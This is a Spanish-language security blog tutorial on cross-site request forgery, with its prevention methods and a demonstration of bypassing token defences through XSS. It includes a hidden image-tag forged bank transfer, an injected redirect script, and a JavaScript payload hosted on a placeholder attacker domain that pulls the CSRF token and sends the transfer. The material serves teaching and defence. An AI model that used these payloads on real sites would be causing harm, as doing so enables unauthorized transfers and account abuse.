Cross-Site Request Forgery (CSRF): Haz lo que quiero sin que lo sepas
En conjunto con el XSS, puedo considerar a éste ataque como mi favorito. Al igual que el XSS, es extremadamente sencillo y casi nunca previsto por los programadores web.
A diferencia del XSS el cual abusa de la confianza que un usuario tiene en una página, el Cross-Site Request Forgery (CSRF o XSRF) aprovecha la confianza que tiene la página en un dado usuario. El CSRF abusa de las sesiones generando acciones en un dado site.

El ataque se aprovecha del hecho que, una vez que un usuario se autentica en un site, todo parámetro que envíe al site se interpretará como una acción de ese usuario. Dichos parámetros suelen enviarse a medida que el usuario navega por el site, pero nada prohíbe a una persona generar los parámetros de forma externa (armar una URL con los parámetros) y enviarlos al site.

Para este ataque, el atacante arma una URL con todos los parámetros necesarios para enviar un pedido a un dado site, y busca la forma de que un usuario víctima la acceda. El pedido puede ser, por ejemplo, una transferencia de dinero desde la víctima a una cuenta del atacante, utilizando una página de homebanking. Lo único que el atacante necesita para llevar a cabo dicha acción es que el usuario que accede al link esté autenticado en la página que realiza la transferencia. Dado que las sesiones tardan un cierto tiempo en expirar, si la víctima se había logueado en la página del banco, es probable que aún siga logueada al momento de hacer click en el link.

Como siempre un ejemplo vale más que mil palabras. Supongamos que la página de un banco utiliza los parámetros amount y receiver para realizar una transferencia, siendo amount la cantidad de dinero a transferir y receiver la persona que recibe el dinero. Por ejemplo, una transferencia de 1000 dolares a la cuenta demasiadovivo se podría hacer a través de la siguiente URL: http://banco.com?amount=1000&receiver=demasiadovivo. Obviamente la transferencia tendrá éxito si el usuario que accede al citado link está logueado en la página banco.com.
Ahora supongamos que un atacante arma la URL y la envía por e-mail a varias víctimas, pero en lugar de exponerla, la oculta en un tag de imagen de la siguiente forma <IMG SRC="http://banco.com?amount=1000&receiver=demasiadovivo" />. Si un usuario abre el e-mail, el cliente de mail intentará cargar la imagen, para lo cual ingresará al link. Si la pobre víctima se encontraba logueada en la página banco.com al momento de abrir el mail, ésta habrá donado sin darse cuenta 1000 dolares a demasiadovivo!!! ohh si, me podría hacer rico fácilmente =P

Lo más lindo del ataque es que la víctima ni se entera que fue víctima (se dará cuenta cuando revise su estado de cuenta jeje). El ataque no se limita a cuentas de bancos, se podría utilizar el mismo formato para enviar e-mails a través de web-mails, o crear cuentas de usuario en distintas páginas para que el atacante pueda acceder. Hay un abanico gigante de posibilidades, lo único que necesita el atacante es conocer los parámetros correctos de la página afectada y conseguir que usuarios de la página accedan a links armados por él.

El medio de ataque no se limita a los e-mails. Cuando vimos XSS vimos que hay varias formas de hacer que un usuario ingrese a un link sin darse cuenta. A través de XSS podríamos hacer que páginas en las que el usuario confía incluyan redirecciones al link malicioso. Por ejemplo, supongamos que el atacante utiliza XSS en una página confiable para ingresar el script <SCRIPT>document.location="http://banco.com?amount=1000&receiver=demasiadovivo";</SCRIPT>, el resultado sería el mismo que utilizar una imagen. También está la posibilidad de incrustar links en propagandas en distintas páginas. Como digo, hay muchas formas que el usuario ingrese al link malicioso.
Cabe aclarar que hablo de link malicioso, pero en realidad no hay nada de malicioso en el link. El link es totalmente legal y parte de la funcionalidad de la página afectada, no estamos haciendo nada raro sobre la página, solamente aprovechamos que el usuario ya está logueado para realizar acciones sin que se de cuenta ni lo desee.

Adicionalmente, vale decir que el ataque no se limita a una URL armada por el atacante. Al igual que mostré con XSS, es posible utilizar parámetros del método POST si es necesario, armando una página intermedia que suministre dichos parámetros. Si no recuerdan como funciona un ataque por POST, relean mi anterior artículo XSS avanzado.


Prevención

Ahora, estarán pensando, esto es una locura! no estoy seguro en ningún lugar! sin darme cuenta puedo estar regalando dinero, o creando cuentas de usuario en los sites que administro, o mandando mails a mis jefes sin saberlo! OMG! OMG!!!
Bueno, tranquilícense un poco, por supuesto que hay formas de prevenir estos ataques, pero dependerá mucho de los conocimientos del programador del site.
Hay diferentes formas de prevenir el XSRF, algunas más útiles que otras y algunas más molestas que otras.

La primer solución que puede venir a la mente es evitar el uso de sesiones para toda tarea peligrosa y hacer que el usuario se autentique cada vez que necesite realizarlas. De esta forma, antes de que el usuario de la página del banco realice la transferencia, éste deberá autenticarse y así nos evitamos el problema. Esto es bastante feo, a nadie le gusta tener que ingresar las credenciales cada vez que vamos a realizar alguna acción... tiene que haber algo mejor!

Otra opción es utilizar CAPTCHAs. Agregar un CAPTCHA para realizar una acción permite validar que es un humano el que realiza la acción y no es algo automatizado. De esta forma volvemos a evitar el problema de la ejecución automática de, por ejemplo, una transferencia bancaria. El uso excesivo de CAPTCHAs puede ser tanto o más molesto que tener que ingresar las credenciales a cada rato, así que sigamos avanzando...

Una opción más interesante es chequear el HTTP Referer. HTTP Referer es incluído en cada solicitud del browser y contiene la URL de la página que derivó el pedido. Osea, si desde la página de google.com clickeamos un link que va a itfreekzone.blogspot.com, el HTTP Referer contendrá google.com como valor. Checkeando el HTTP Referer podemos forzar que el pedido venga desde ciertas páginas. Por ejemplo, en el caso de la transferencia, podríamos validar que el referer sea http://banco.com?action=transferencia, y así evitar pedidos que vengan de cualquier otro site. El problema con el referer es que muchos browsers o proxies no lo incluyen por cuestiones de privacidad (no está bueno decirle a las páginas desde qué lugares llegamos a ellas). Además el referer no sirve en caso de utilizar redirecciones y no nos salva si banco.com?action=transferencia tiene una vulnerabilidad XSS...

La solución más utilizada (y me parece la más correcta), es el uso de tokens random. Cada vez que un usuario se loguea en el site, éste genera un token random, similar a un id de sesión, y arma todos los links del site utilizando dicho token como parámetro (también se puede utilizar con un input del tipo hidden en un formulario). Si el usuario desea realizar una acción, éste deberá utilizar las URLs que contienen el token generado por el server, dado que éste último verificará que el token sea correcto antes de realizar la acción. Como el token es random en cada sesión, un atacante no podría conocerlo con anticipación, y por lo tanto, no podría armar la URL que explote CSRF. Para el ejemplo de la página que realiza la transferencia bancaria, el URL podría tener ahora el siguiente formato: http://banco.com?token=1231243sdf53dfgjjnsdf5nk&amount=1000&receiver=demasiadovivo
Esta es la solución utilizada por los sites más importantes como gmail, hotmail, frameworks como phpBB y cualquier otro site que se precie de tener seguridad. Desgraciadamente esta solución tampoco es mágica! se imaginan por qué? si señores, XSS! Si la página que tiene un mecanismo de tokens para prevenir el CSRF tiene una vulnerabilidad XSS, está jodida. A través de XSS podremos conocer el bendito token y armar nuestros links maliciosos conteniéndolo...

Una solución más completa es utilizar tokens en conjunto con sesiones que expiren a corto plazo, como por ejemplo, 15 minutos. Si bien todavía estamos dando un margen para el ataque, éste es un poco más reducido...


Evadiendo control CSRF usando XSS

Veamos un ejemplo concreto de cómo evadir la protección CSRF más utilizada, es decir, el uso de tokens.
Supongamos nuevamente que tenemos la página de nuestro banco que ahora agrega el token en cada URL para evitar la creación previa de URLs por atacantes. Pero también supongamos que banco.com tiene una vulnerabilidad XSS.

Dado que banco.com padece de XSS, podríamos insertar el siguiente código HTML en él: <SCRIPT SRC="http://malomalo.com/script.js></SCRIPT>, donde http://malomalo.com/script.js contiene el siguiente código:

var query = window.location.search.substring(1);
if(query != null)
{
var pairs = query.split("&");
var varname;
for(var i=0; i<pairs.length; i++) //recorremos los parametros de la URL actual
{
varname = pairs[i].split("=")[0];
if(varname == "token") //encontramos la variable que contiene el token...
document.location.href = "http://banco.com?"+pairs[i]+"&amount=1000&receiver=demasiadovivo"; //armamos la URL y redirigimos
}
}


El código anterior toma la URL actual (que contiene el token) y la descompone para obtener el valor del token. Una vez que obtiene el valor del token, arma la URL que transfiere el dinero de la cuenta de la víctima a demasiadovivo y redirecciona la página actual hacia la URL recién armada. El resultado? donamos 1000 dolares a demasiadovivo aún cuando teníamos defensas contra CSRF!
Lo único que debe hacer el atacante ahora es lograr que el usuario abra la página del banco afectada por XSS, como por ejemplo, logrando que se dirija al link http://banco.com?query=<SCRIPT SRC="http://malomalo.com/script.js></SCRIPT> donde la variable query se imprime dentro del HTML de la página banco.com.


Pensamiento final

El CSRF o XSRF es otro ataque fácil de realizar y con muchas posibilidades de éxito debido a su habilidad de pasar desapercibido, oculto a los ojos de la víctima. Sin dudas es extremadamente peligroso y debe hacerse algo para evitarlo. El usuario final no puede hacer mucho, más que desconfiar de los mails, de las páginas, de todo, usar plug-ins como NoScript y browsers que ayuden a visualizar ataques.
Es el programador del site es el mayor responsable de eliminar la posibilidad del ataque, utilizando alguna de las técnicas citadas. Además deberá tener muchísimo cuidado con el XSS!

El ejemplo final es otra clara demostración de lo peligroso que es el XSS! Creo que eso ha quedado más que claro a lo largo de los distintos artículos que he ido publicando en estos meses.


Referencias

- Cross-site request forgery (wiki)
- XSS Attacks - Cross Site Scripting Exploits and Defence (Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anto Rager, Seth Fogie)
- Using XSS to bypass CSRF protection (Nytro - Romanian Security Team)

2 comentarios:

Ricard dijo...

Muy bueno y entretenido Gracias...

MagnoBalt dijo...

Muy bueno y entretenido Gracias...
Me colgue taba logueado con otra cuenta xD

Publicar un comentario